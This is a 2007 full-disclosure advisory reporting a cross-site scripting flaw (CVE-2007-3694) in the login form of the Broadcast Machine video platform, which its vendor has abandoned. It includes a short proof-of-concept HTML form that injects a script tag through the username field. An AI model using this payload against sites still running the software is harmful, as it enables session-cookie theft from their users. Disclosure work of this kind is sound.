[Full-disclosure] CVE-2007-3694: Cross site scripting (XSS) in broadcast machine

[Hanno Böck]

Source:
http://int21.de/cve/CVE-2007-3694-bm.html

Cross site scripting (XSS) in broadcast machine

References
 http://www.getmiro.com/create/broadcast/
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3694

Description
 Cross site scripting describes attacks that allow to insert malicious html or 
 javascript code via get or post forms. This can be used to steal session
 cookies.
 Broadcast machine is a web-based video platform tool. It's login form is
 vulnerable to XSS.

Sample code
 <form action="http://somesite.com/login.php" method="post">
 <input type="text" name="username" value='"<script>alert(1)</script>'>
 <input type="submit"></form>

Workaround/Fix
 Vendor consideres broadcast machine dead software and won't provide any
 updates. However it's still used on some live sites in the internet.

CVE Information
 The Common Vulnerabilities and Exposures (CVE) project has assigned the name
 CVE-2007-3694 to this issue. This is a candidate for inclusion in the CVE
 list (http://cve.mitre.org/), which standardizes names for security problems.

Credits and copyright
 This vulnerability was discovered by Hanno Boeck of schokokeks.org
 webhosting. It's licensed under the creative commons attribution license.

Hanno Boeck, 2007-11-12, http://www.hboeck.de
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